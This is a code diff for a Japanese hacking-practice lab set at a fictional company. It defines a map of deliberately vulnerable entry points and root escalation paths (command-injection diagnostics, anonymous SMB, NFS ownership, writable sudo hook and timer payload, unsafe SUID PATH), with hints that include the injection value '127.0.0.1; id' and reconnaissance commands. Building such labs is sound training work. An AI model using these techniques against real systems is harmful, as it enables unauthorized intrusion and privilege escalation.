+  const result = validatePrivateAnswers();
+  process.stdout.write(`${JSON.stringify(result, null, 2)}\n`);
+}
diff --git a/labs/open-world-target/world/validate-world.mjs b/labs/open-world-target/world/validate-world.mjs
new file mode 100644
index 0000000..edfcc57
--- /dev/null
+++ b/labs/open-world-target/world/validate-world.mjs
@@ -0,0 +1,219 @@
+import { pathToFileURL } from "node:url";
+
+import {
+  getVerifierFlagIds,
+} from "./flag-verifiers.mjs";
+import { WORLD } from "./world-definition.mjs";
+
+const EXPECTED_FLAG_COUNTS = Object.freeze({
+  entry: 3,
+  foothold: 3,
+  "root-clue": 3,
+  "root-route": 3,
+  "common-root": 1,
+  windows: 1,
+});
+const ALLOWED_ICONS = new Set([
+  "browser",
+  "calendar",
+  "door",
+  "file",
+  "folder",
+  "globe",
+  "network",
+  "server",
+  "terminal",
+  "user",
+]);
+
+function assert(condition, message) {
+  if (!condition) {
+    throw new Error(message);
+  }
+}
+
+function assertUnique(values, label) {
+  assert(
+    new Set(values).size === values.length,
+    `${label} must contain unique values`,
+  );
+}
+
+function isReachable(adjacency, from, to) {
+  const queue = [from];
+  const visited = new Set();
+  while (queue.length > 0) {
+    const current = queue.shift();
+    if (current === to) return true;
+    if (visited.has(current)) continue;
+    visited.add(current);
+    queue.push(...(adjacency.get(current) ?? []));
+  }
+  return false;
+}
+
+export function validateWorld(world = WORLD) {
+  assert(world.version === 1, "world version must be 1");
+  assert(world.entranceIds.length === 3, "world must define 3 entrances");
+  assert(world.footholdIds.length === 3, "world must define 3 footholds");
+  assert(world.rootPathIds.length === 3, "world must define 3 root paths");
+  assert(world.nodes.length === 14, "world must define 14 flag-bearing nodes");
+  assert(world.flags.length === 14, "world must define 14 flags");
+
+  const nodeIds = world.nodes.map((node) => node.id);
+  const mapIds = world.nodes.map((node) => node.mapId);
+  const flagIds = world.flags.map((flag) => flag.id);
+  const hypothesisIds = world.hypotheses.map((hypothesis) => hypothesis.id);
+  const eventRouteIds = world.eventRoutes.map((route) => route.id);
+
+  assertUnique(nodeIds, "node ids");
+  assertUnique(mapIds, "map ids");
+  assertUnique(flagIds, "flag ids");
+  assertUnique(
+    world.flags.map((flag) => flag.nodeId),
+    "flag node ids",
+  );
+  assertUnique(hypothesisIds, "hypothesis ids");
+  assertUnique(eventRouteIds, "event route ids");
+
+  const nodeIdSet = new Set(nodeIds);
+  const flagIdSet = new Set(flagIds);
+  const hypothesisIdSet = new Set(hypothesisIds);
+
+  for (const node of world.nodes) {
+    assert(
+      ALLOWED_ICONS.has(node.icon),
+      `node ${node.id} must use a guide-compatible icon`,
+    );
+    assert(flagIdSet.has(node.flagId), `node ${node.id} has an unknown flag`);
+    for (const hypothesisId of node.unlockHypothesisIds) {
+      assert(
+        hypothesisIdSet.has(hypothesisId),
+        `node ${node.id} unlocks an unknown hypothesis`,
+      );
+    }
+  }
+
+  for (const edge of world.edges) {
+    assert(nodeIdSet.has(edge.from), `edge source ${edge.from} is unknown`);
+    assert(nodeIdSet.has(edge.to), `edge target ${edge.to} is unknown`);
+  }
+
+  for (const flag of world.flags) {
+    assert(nodeIdSet.has(flag.nodeId), `flag ${flag.id} has an unknown node`);
+    assert(
+      !flag.location.startsWith("/") && !flag.location.includes(".."),
+      `flag ${flag.id} must have a safe relative location`,
+    );
+  }
+
+  const verifierFlagIds = getVerifierFlagIds();
+  assertUnique(verifierFlagIds, "verifier flag ids");
+  assert(
+    verifierFlagIds.length === flagIds.length &&
+      verifierFlagIds.every((flagId) => flagIdSet.has(flagId)),
+    "public verifiers must match the 14 logical flags exactly",
+  );
+
+  for (const [category, expectedCount] of Object.entries(
+    EXPECTED_FLAG_COUNTS,
+  )) {
+    const actualCount = world.flags.filter(
+      (flag) => flag.category === category,
+    ).length;
+    assert(
+      actualCount === expectedCount,
+      `${category} flags must total ${expectedCount}, got ${actualCount}`,
+    );
+  }
+
+  for (const hypothesis of world.hypotheses) {
+    assert(
+      hypothesis.hints.length === 3,
+      `hypothesis ${hypothesis.id} must have exactly 3 hint stages`,
+    );
+    assert(
+      hypothesis.hints.map((hint) => hint.title).join("|") ===
+        "見る場所|使う道具|操作例",
+      `hypothesis ${hypothesis.id} must use the accepted hint order`,
+    );
+    if (hypothesis.anchorNodeId !== null) {
+      assert(
+        nodeIdSet.has(hypothesis.anchorNodeId),
+        `hypothesis ${hypothesis.id} has an unknown anchor`,
+      );
+    }
+  }
+
+  const adjacency = new Map(
+    nodeIds.map((nodeId) => [
+      nodeId,
+      world.edges
+        .filter((edge) => edge.from === nodeId)
+        .map((edge) => edge.to),
+    ]),
+  );
+
+  const viableCombinations = [];
+  for (const [index, entranceId] of world.entranceIds.entries()) {
+    const footholdId = world.footholdIds[index];
+    assert(
+      isReachable(adjacency, entranceId, footholdId),
+      `${entranceId} must reach ${footholdId}`,
+    );
+    for (const rootPathId of world.rootPathIds) {
+      assert(
+        isReachable(adjacency, footholdId, rootPathId),
+        `${footholdId} must reach ${rootPathId}`,
+      );
+      viableCombinations.push({ entranceId, footholdId, rootPathId });
+    }
+  }
+  assert(
+    viableCombinations.length === 9,
+    "world must have 9 entrance/root combinations",
+  );
+
+  const routeKeys = world.eventRoutes.map(
+    ({ kind, nodeId, sourceId, evidenceCode }) =>
+      `${kind}\u0000${nodeId}\u0000${sourceId}\u0000${evidenceCode}`,
+  );
+  assertUnique(routeKeys, "event source combinations");
+
+  for (const route of world.eventRoutes) {
+    assert(nodeIdSet.has(route.nodeId), `event ${route.id} has an unknown node`);
+    assert(
+      /^[a-z0-9_.-]+$/.test(route.kind) &&
+        /^[a-z0-9_.-]+$/.test(route.sourceId) &&
+        /^[a-z0-9_.-]+$/.test(route.evidenceCode),
+      `event ${route.id} contains a non-allowlist identifier`,
+    );
+  }
+
+  for (const flag of world.flags) {
+    const eventCount = world.eventRoutes.filter(
+      (route) => route.nodeId === flag.nodeId,
+    ).length;
+    if (flag.manualOnly) {
+      assert(eventCount === 0, `${flag.id} must remain manual-only`);
+    } else {
+      assert(eventCount >= 1, `${flag.id} needs an automatic event route`);
+    }
+  }
+
+  return Object.freeze({
+    entrances: world.entranceIds.length,
+    footholds: world.footholdIds.length,
+    rootPaths: world.rootPathIds.length,
+    flags: world.flags.length,
+    viableCombinations,
+  });
+}
+
+const invokedPath = process.argv[1]
+  ? pathToFileURL(process.argv[1]).href
+  : null;
+if (invokedPath === import.meta.url) {
+  const result = validateWorld();
+  process.stdout.write(`${JSON.stringify(result, null, 2)}\n`);
+}
diff --git a/labs/open-world-target/world/world-definition.mjs b/labs/open-world-target/world/world-definition.mjs
new file mode 100644
index 0000000..94e948c
--- /dev/null
+++ b/labs/open-world-target/world/world-definition.mjs
@@ -0,0 +1,574 @@
+const nodes = [
+  {
+    id: "entrance-web-diagnostics",
+    mapId: "map-01",
+    kind: "entrance",
+    icon: "browser",
+    label: "スタッフ用の診断画面",
+    detail: "公開Webの奥に、入力値をOSコマンドへ渡す診断機能がある。",
+    flagId: "flag-entry-web",
+    unlockHypothesisIds: ["hyp-web-input-boundary"],
+  },
+  {
+    id: "entrance-smb-handover",
+    mapId: "map-02",
+    kind: "entrance",
+    icon: "folder",
+    label: "引き継ぎ用の共有",
+    detail: "匿名で読める共有に、古いバックアップと運用メモが残っている。",
+    flagId: "flag-entry-smb",
+    unlockHypothesisIds: ["hyp-backup-trust"],
+  },
+  {
+    id: "entrance-nfs-workshop",
+    mapId: "map-03",
+    kind: "entrance",
+    icon: "network",
+    label: "整備場のNFS共有",
+    detail: "書き込み権限と所有者の対応が、利用者の想定より広い。",
+    flagId: "flag-entry-nfs",
+    unlockHypothesisIds: ["hyp-nfs-ownership"],
+  },
+  {
+    id: "foothold-www-data",
+    mapId: "map-04",
+    kind: "foothold",
+    icon: "server",
+    label: "Webサービスの権限",
+    detail: "www-dataとしてDebian内を観察できる状態になった。",
+    flagId: "flag-foothold-www-data",
+    unlockHypothesisIds: [
+      "hyp-root-sudo",
+      "hyp-root-timer",
+      "hyp-root-path",
+    ],
+  },
+  {
+    id: "foothold-sales",
+    mapId: "map-05",
+    kind: "foothold",
+    icon: "user",
+    label: "販売担当のログイン",
+    detail: "バックアップ由来の訓練用資格情報が別サービスでも使えた。",
+    flagId: "flag-foothold-sales",
+    unlockHypothesisIds: [
+      "hyp-root-sudo",
+      "hyp-root-timer",
+      "hyp-root-path",
+    ],
+  },
+  {
+    id: "foothold-mechanic",
+    mapId: "map-06",
+    kind: "foothold",
+    icon: "user",
+    label: "整備担当のログイン",
+    detail: "共有の所有権対応を利用してmechanicとして接続できた。",
+    flagId: "flag-foothold-mechanic",
+    unlockHypothesisIds: [
+      "hyp-root-sudo",
+      "hyp-root-timer",
+      "hyp-root-path",
+    ],
+  },
+  {
+    id: "clue-sudo-helper",
+    mapId: "map-07",
+    kind: "root-clue",
+    icon: "file",
+    label: "sudo保守コマンドの手掛かり",
+    detail: "共同作業者が編集できるhookをrootの保守処理が実行する。",
+    flagId: "flag-clue-sudo",
+    unlockHypothesisIds: ["hyp-root-sudo"],
+  },
+  {
+    id: "clue-writable-timer",
+    mapId: "map-08",
+    kind: "root-clue",
+    icon: "calendar",
+    label: "定期処理の手掛かり",
+    detail: "rootのtimerが、共同作業者に変更可能なpayloadを呼び出す。",
+    flagId: "flag-clue-timer",
+    unlockHypothesisIds: ["hyp-root-timer"],
+  },
+  {
+    id: "clue-unsafe-path",
+    mapId: "map-09",
+    kind: "root-clue",
+    icon: "terminal",
+    label: "PATH解決の手掛かり",
+    detail: "教材用SUIDヘルパーが実行ファイルを絶対パスで指定していない。",
+    flagId: "flag-clue-suid",
+    unlockHypothesisIds: ["hyp-root-path"],
+  },
+  {
+    id: "root-path-sudo",
+    mapId: "map-10",
+    kind: "root-path",
+    icon: "terminal",
+    label: "sudo保守hook経路",
+    detail: "書き換え可能なhookがrootとして実行された。",
+    flagId: "flag-route-sudo",
+    unlockHypothesisIds: [],
+  },
+  {
+    id: "root-path-timer",
+    mapId: "map-11",
+    kind: "root-path",
+    icon: "calendar",
+    label: "定期処理payload経路",
+    detail: "書き換え可能なpayloadがroot timerから実行された。",
+    flagId: "flag-route-timer",
+    unlockHypothesisIds: [],
+  },
+  {
+    id: "root-path-suid",
+    mapId: "map-12",
+    kind: "root-path",
+    icon: "terminal",
+    label: "SUID PATH経路",
+    detail: "PATH上の訓練用rendererがroot権限で解決された。",
+    flagId: "flag-route-suid",
+    unlockHypothesisIds: [],
+  },
+  {
+    id: "root-common",
+    mapId: "map-13",
+    kind: "root",
+    icon: "door",
+    label: "Debian root",
+    detail: "選んだ経路の因果を説明できるroot到達点。",
+    flagId: "flag-root-common",
+    unlockHypothesisIds: ["hyp-windows-remnant"],
+  },
+  {
+    id: "windows-remnant",
+    mapId: "map-14",
+    kind: "windows",
+    icon: "folder",
+    label: "Windows側の保管記録",
+    detail: "root到達後だけ調べられる、オフラインの追加flag。",
+    flagId: "flag-windows",
+    unlockHypothesisIds: [],
+  },
+];
+
+const edges = [
+  ["entrance-web-diagnostics", "foothold-www-data"],
+  ["entrance-smb-handover", "foothold-sales"],
+  ["entrance-nfs-workshop", "foothold-mechanic"],
+  ["foothold-www-data", "clue-sudo-helper"],
+  ["foothold-www-data", "clue-writable-timer"],
+  ["foothold-www-data", "clue-unsafe-path"],
+  ["foothold-sales", "clue-sudo-helper"],
+  ["foothold-sales", "clue-writable-timer"],
+  ["foothold-sales", "clue-unsafe-path"],
+  ["foothold-mechanic", "clue-sudo-helper"],
+  ["foothold-mechanic", "clue-writable-timer"],
+  ["foothold-mechanic", "clue-unsafe-path"],
+  ["clue-sudo-helper", "root-path-sudo"],
+  ["clue-writable-timer", "root-path-timer"],
+  ["clue-unsafe-path", "root-path-suid"],
+  ["root-path-sudo", "root-common"],
+  ["root-path-timer", "root-common"],
+  ["root-path-suid", "root-common"],
+  ["root-common", "windows-remnant"],
+].map(([from, to]) => ({ from, to }));
+
+const flags = [
+  {
+    id: "flag-entry-web",
+    nodeId: "entrance-web-diagnostics",
+    category: "entry",
+    location: "var/lib/open-world/flags/entry-web.flag",
+    mode: 0o440,
+  },
+  {
+    id: "flag-entry-smb",
+    nodeId: "entrance-smb-handover",
+    category: "entry",
+    location: "srv/kazekiri/handover/ENTRY-SMB.flag",
+    mode: 0o444,
+  },
+  {
+    id: "flag-entry-nfs",
+    nodeId: "entrance-nfs-workshop",
+    category: "entry",
+    location: "home/mechanic/.ssh/ENTRY-NFS.flag",
+    mode: 0o440,
+  },
+  {
+    id: "flag-foothold-www-data",
+    nodeId: "foothold-www-data",
+    category: "foothold",
+    location: "var/www/.lab-flags/FOOTHOLD-WEB.flag",
+    mode: 0o440,
+  },
+  {
+    id: "flag-foothold-sales",
+    nodeId: "foothold-sales",
+    category: "foothold",
+    location: "home/sales/FOOTHOLD.flag",
+    mode: 0o400,
+  },
+  {
+    id: "flag-foothold-mechanic",
+    nodeId: "foothold-mechanic",
+    category: "foothold",
+    location: "home/mechanic/FOOTHOLD.flag",
+    mode: 0o400,
+  },
+  {
+    id: "flag-clue-sudo",
+    nodeId: "clue-sudo-helper",
+    category: "root-clue",
+    location: "opt/kazekiri/clues/SUDO.flag",
+    mode: 0o440,
+  },
+  {
+    id: "flag-clue-timer",
+    nodeId: "clue-writable-timer",
+    category: "root-clue",
+    location: "opt/kazekiri/clues/TIMER.flag",
+    mode: 0o440,
+  },
+  {
+    id: "flag-clue-suid",
+    nodeId: "clue-unsafe-path",
+    category: "root-clue",
+    location: "opt/kazekiri/clues/SUID.flag",
+    mode: 0o440,
+  },
+  {
+    id: "flag-route-sudo",
+    nodeId: "root-path-sudo",
+    category: "root-route",
+    location: "root/route-flags/SUDO.flag",
+    mode: 0o400,
+  },
+  {
+    id: "flag-route-timer",
+    nodeId: "root-path-timer",
+    category: "root-route",
+    location: "root/route-flags/TIMER.flag",
+    mode: 0o400,
+  },
+  {
+    id: "flag-route-suid",
+    nodeId: "root-path-suid",
+    category: "root-route",
+    location: "root/route-flags/SUID.flag",
+    mode: 0o400,
+  },
+  {
+    id: "flag-root-common",
+    nodeId: "root-common",
+    category: "common-root",
+    location: "root/ROOT.flag",
+    mode: 0o400,
+  },
+  {
+    id: "flag-windows",
+    nodeId: "windows-remnant",
+    category: "windows",
+    location:
+      "windows-fixture/Users/Public/Documents/KazekiriArchive/WINDOWS.flag",
+    mode: 0o444,
+    manualOnly: true,
+  },
+];
+
+const hypotheses = [
+  {
+    id: "hyp-service-inventory",
+    label: "まず、直結先で応答するサービスを整理する",
+    summary: "入口を決める前に、見えている面を事実として並べる。",
+    anchorNodeId: null,
+    hints: [
+      {
+        title: "見る場所",
+        body: "Kali側の有線IPと、10.13.37.10が応答するTCPサービスを見る。",
+      },
+      {
+        title: "使う道具",
+        body: "ip addr、ping、nmapの順で、接続とサービスを分けて確認する。",
+      },
+      {
+        title: "操作例",
+        body: "nmap -sV -Pn 10.13.37.10",
+      },
+    ],
+  },
+  {
+    id: "hyp-web-input-boundary",
+    label: "診断入力がどこまでOSへ渡るか確かめる",
+    summary: "画面の用途と、入力値が処理される境界を分けて観察する。",
+    anchorNodeId: "entrance-web-diagnostics",
+    hints: [
+      {
+        title: "見る場所",
+        body: "診断対象を入力したとき、結果欄へ何が返るかを見る。",
+      },
+      {
+        title: "使う道具",
+        body: "まずブラウザで通常入力と区切り記号を含む入力の差を比べる。",
+      },
+      {
+        title: "操作例",
+        body: "127.0.0.1; id",
+      },
+    ],
+  },
+  {
+    id: "hyp-backup-trust",
+    label: "匿名共有のバックアップを運用上の手掛かりとして読む",
+    summary: "ファイル名だけでなく、いつ・何のために残されたかを確認する。",
+    anchorNodeId: "entrance-smb-handover",
+    hints: [
+      {
+        title: "見る場所",
+        body: "handover共有にある引き継ぎ文書とバックアップ一覧を見る。",
+      },
+      {
+        title: "使う道具",
+        body: "smbclientで共有一覧を確認し、匿名で読める範囲だけ調べる。",
+      },
+      {
+        title: "操作例",
+        body: "smbclient //10.13.37.10/handover -N",
+      },
+    ],
+  },
+  {
+    id: "hyp-nfs-ownership",
+    label: "NFS上の所有者と書き込み可能範囲を確かめる",
+    summary: "共有名ではなく、Debian側で誰の領域として扱われるかを見る。",
+    anchorNodeId: "entrance-nfs-workshop",
+    hints: [
+      {
+        title: "見る場所",
+        body: "NFSv4の公開rootと、mount後の所有者・権限・隠しファイルを見る。",
+      },
+      {
+        title: "使う道具",
+        body: "NFSv4を直接mountし、ls -laで所有者と書き込み範囲を観察する。",
+      },
+      {
+        title: "操作例",
+        body: "sudo mount -t nfs4 -o vers=4,proto=tcp 10.13.37.10:/ /mnt/workshop",
+      },
+    ],
+  },
+  {
+    id: "hyp-root-sudo",
+    label: "許可されたsudoコマンドが信頼するファイルを追う",
+    summary: "実行ファイルだけでなく、root処理が後から読むhookまで確認する。",
+    anchorNodeId: "clue-sudo-helper",
+    hints: [
+      {
+        title: "見る場所",
+        body: "sudo -lの許可内容と、保守helperが読むhookの所有者・groupを見る。",
+      },
+      {
+        title: "使う道具",
+        body: "sudo -l、ls -l、読み取り専用でのスクリプト確認を使う。",
+      },
+      {
+        title: "操作例",
+        body: "sudo -l",
+      },
+    ],
+  },
+  {
+    id: "hyp-root-timer",
+    label: "rootの定期処理が呼ぶpayloadの変更権限を比べる",
+    summary: "unitの実行者と、実際に呼ばれるファイルの所有権を分けて見る。",
+    anchorNodeId: "clue-writable-timer",
+    hints: [
+      {
+        title: "見る場所",
+        body: "open-world-root-timer.timerの次回実行とpayloadのgroup権限を見る。",
+      },
+      {
+        title: "使う道具",
+        body: "systemctl list-timers、systemctl cat、ls -lを使う。",
+      },
+      {
+        title: "操作例",
+        body: "systemctl cat open-world-root-timer.service",
+      },
+    ],
+  },
+  {
+    id: "hyp-root-path",
+    label: "SUIDヘルパーがPATHから探す名前を特定する",
+    summary: "所有者・SUID bit・絶対パスでない実行箇所の3点を結びつける。",
+    anchorNodeId: "clue-unsafe-path",
+    hints: [
+      {
+        title: "見る場所",
+        body: "教材用report helperの権限と、実行時に探すrenderer名を見る。",
+      },
+      {
+        title: "使う道具",
+        body: "find、ls -l、stringsを使い、既知CVE探しはしない。",
+      },
+      {
+        title: "操作例",
+        body: "strings /usr/local/bin/kazekiri-report | grep renderer",
+      },
+    ],
+  },
+  {
+    id: "hyp-windows-remnant",
+    label: "root取得後の追加記録をオフライン領域から探す",
+    summary: "自動検出を信頼せず、見つけたflagだけを手動提出する。",
+    anchorNodeId: "root-common",
+    hints: [
+      {
+        title: "見る場所",
+        body: "Windowsの公開ドキュメントにあるKazekiriArchiveを見る。",
+      },
+      {
+        title: "使う道具",
+        body: "読み取り専用mountとfindを使い、Windows設定は変更しない。",
+      },
+      {
+        title: "操作例",
+        body: "find /mnt/windows/Users/Public/Documents -name '*.flag' -print",
+      },
+    ],
+  },
+];
+
+const eventRoutes = [
+  {
+    id: "event-entry-web",
+    kind: "entry.discovered",
+    nodeId: "entrance-web-diagnostics",
+    sourceId: "apache2.service",
+    evidenceCode: "web.diagnostics.opened",
+    message: "スタッフ用の診断画面を確認した。",
+  },
+  {
+    id: "event-entry-smb",
+    kind: "entry.discovered",
+    nodeId: "entrance-smb-handover",
+    sourceId: "smbd.service",
+    evidenceCode: "smb.handover.connected",
+    message: "匿名で読める引き継ぎ共有を確認した。",
+  },
+  {
+    id: "event-entry-nfs",
+    kind: "entry.discovered",
+    nodeId: "entrance-nfs-workshop",
+    sourceId: "nfs-server.service",
+    evidenceCode: "nfs.workshop.flag_read",
+    message: "整備場のNFS共有内を確認した。",
+  },
+  {
+    id: "event-foothold-web",
+    kind: "foothold.acquired",
+    nodeId: "foothold-www-data",
+    sourceId: "apache2.service",
+    evidenceCode: "web.command.execution_observed",
+    message: "Webサービスの権限でOS内を観察できた。",
+  },
+  {
+    id: "event-foothold-sales",
+    kind: "foothold.acquired",
+    nodeId: "foothold-sales",
+    sourceId: "ssh.service",
+    evidenceCode: "ssh.sales.session_opened",
+    message: "販売担当としてSSH接続できた。",
+  },
+  {
+    id: "event-foothold-mechanic",
+    kind: "foothold.acquired",
+    nodeId: "foothold-mechanic",
+    sourceId: "ssh.service",
+    evidenceCode: "ssh.mechanic.session_opened",
+    message: "整備担当としてSSH接続できた。",
+  },
+  {
+    id: "event-clue-sudo",
+    kind: "clue.discovered",
+    nodeId: "clue-sudo-helper",
+    sourceId: "open-world-file-watch.service",
+    evidenceCode: "file.clue_sudo.read",
+    message: "sudo保守処理につながる手掛かりを読んだ。",
+  },
+  {
+    id: "event-clue-timer",
+    kind: "clue.discovered",
+    nodeId: "clue-writable-timer",
+    sourceId: "open-world-file-watch.service",
+    evidenceCode: "file.clue_timer.read",
+    message: "rootの定期処理につながる手掛かりを読んだ。",
+  },
+  {
+    id: "event-clue-suid",
+    kind: "clue.discovered",
+    nodeId: "clue-unsafe-path",
+    sourceId: "open-world-file-watch.service",
+    evidenceCode: "file.clue_suid.read",
+    message: "SUIDとPATH解決につながる手掛かりを読んだ。",
+  },
+  {
+    id: "event-route-sudo",
+    kind: "root_path.completed",
+    nodeId: "root-path-sudo",
+    sourceId: "open-world-file-watch.service",
+    evidenceCode: "root.sudo_hook.executed",
+    message: "sudo保守hookの経路がrootとして動いた。",
+  },
+  {
+    id: "event-route-timer",
+    kind: "root_path.completed",
+    nodeId: "root-path-timer",
+    sourceId: "open-world-file-watch.service",
+    evidenceCode: "root.timer_payload.executed",
+    message: "定期処理payloadの経路がrootとして動いた。",
+  },
+  {
+    id: "event-route-suid",
+    kind: "root_path.completed",
+    nodeId: "root-path-suid",
+    sourceId: "open-world-file-watch.service",
+    evidenceCode: "root.suid_renderer.executed",
+    message: "SUID PATH解決の経路がrootとして動いた。",
+  },
+  {
+    id: "event-root-common",
+    kind: "root.acquired",
+    nodeId: "root-common",
+    sourceId: "open-world-file-watch.service",
+    evidenceCode: "root.common_flag.read",
+    message: "Debian rootへ到達した。選んだ経路を振り返ろう。",
+  },
+];
+
+export const WORLD = Object.freeze({
+  id: "kazekiri-motors-open-world-v1",
+  version: 1,
+  title: "風切モータース 実践ラボ",
+  syntheticNotice:
+    "この世界の企業、人物、記録、資格情報、flagはすべて演習専用の架空データです。",
+  entranceIds: [
+    "entrance-web-diagnostics",
+    "entrance-smb-handover",
+    "entrance-nfs-workshop",
+  ],
+  footholdIds: [
+    "foothold-www-data",
+    "foothold-sales",
+    "foothold-mechanic",
+  ],
+  rootPathIds: ["root-path-sudo", "root-path-timer", "root-path-suid"],
+  initialHypothesisIds: ["hyp-service-inventory"],
+  nodes,
+  edges,
+  flags,
+  hypotheses,
+  eventRoutes,
+});
diff --git a/package.json b/package.json
new file mode 100644
index 0000000..9cb051d
--- /dev/null
+++ b/package.json
@@ -0,0 +1,17 @@
+{
+  "name": "examserver-practical-lab",
+  "private": true,
+  "type": "module",
+  "scripts": {
+    "test:repo": "node --test tests/*.test.mjs",
+    "test:world": "node labs/open-world-target/world/validate-world.mjs",
+    "test:telemetry": "npm --prefix labs/open-world-target/telemetry test",
+    "test:bridge": "npm --prefix labs/open-world-target/bridge test",
+    "test:platform": "python -m unittest discover -s labs/open-world-target/platform/tests -t labs/open-world-target/platform -v",
+    "test:operator": "python -m unittest discover -s labs/open-world-target/operator/tests -v",
+    "test:guide": "npm --prefix apps/lab-guide test",
+    "typecheck:guide": "npm --prefix apps/lab-guide run typecheck",
+    "build:guide": "npm --prefix apps/lab-guide run build",
+    "check": "npm run test:repo && npm run test:world && npm run test:telemetry && npm run test:bridge && npm run test:platform && npm run test:operator && npm run test:guide && npm run typecheck:guide && npm run build:guide"
+  }
+}
diff --git a/tests/repository-contract.test.mjs b/tests/repository-contract.test.mjs
new file mode 100644
index 0000000..865d6dc
--- /dev/null
+++ b/tests/repository-contract.test.mjs
@@ -0,0 +1,65 @@
+import assert from "node:assert/strict";
+import { existsSync, readFileSync } from "node:fs";
+import { resolve } from "node:path";
+import test from "node:test";
+
+const root = resolve(import.meta.dirname, "..");
+const read = (path) => readFileSync(resolve(root, path), "utf8");
+
+test("active contracts describe the open-world lab", () => {
+  const constitution = read("PROJECT_CONSTITUTION.md");
+  const task = read("TASK_CONTRACT.md");
+  const readme = read("README.md");
+
+  for (const required of [
+    "3つの入口",
+    "3つの実機root経路",
+    "14個のflag",
+    "30〜60分",
+  ]) {
+    assert.match(
+      `${constitution}\n${task}\n${readme}`,
+      new RegExp(required),
+      `missing contract phrase: ${required}`,
+    );
+  }
+
+  assert.match(constitution, /生コマンドや秘密を集め/);
+  assert.match(task, /Root completion is the last trustworthy automatic event/);
+});
+
+test("accepted visual references are present", () => {
+  for (const path of [
+    "docs/design/exploration-map.png",
+    "docs/design/situation-consultation.png",
+  ]) {
+    assert.equal(existsSync(resolve(root, path)), true, `${path} is missing`);
+  }
+});
+
+test("legacy single-route deliverables are no longer active files", () => {
+  for (const path of [
+    "labs/site-takeover",
+    "METHODS.md",
+    "WALKTHROUGH-BEGINNER.md",
+    ".github/workflows/build-live-iso.yml",
+  ]) {
+    assert.equal(
+      existsSync(resolve(root, path)),
+      false,
+      `${path} should only remain in git history`,
+    );
+  }
+});
+
+test("implementation roots exist", () => {
+  for (const path of [
+    "apps/lab-guide",
+    "labs/open-world-target/world",
+    "labs/open-world-target/telemetry",
+    "labs/open-world-target/platform",
+    "labs/open-world-target/operator",
+  ]) {
+    assert.equal(existsSync(resolve(root, path)), true, `${path} is missing`);
+  }
+});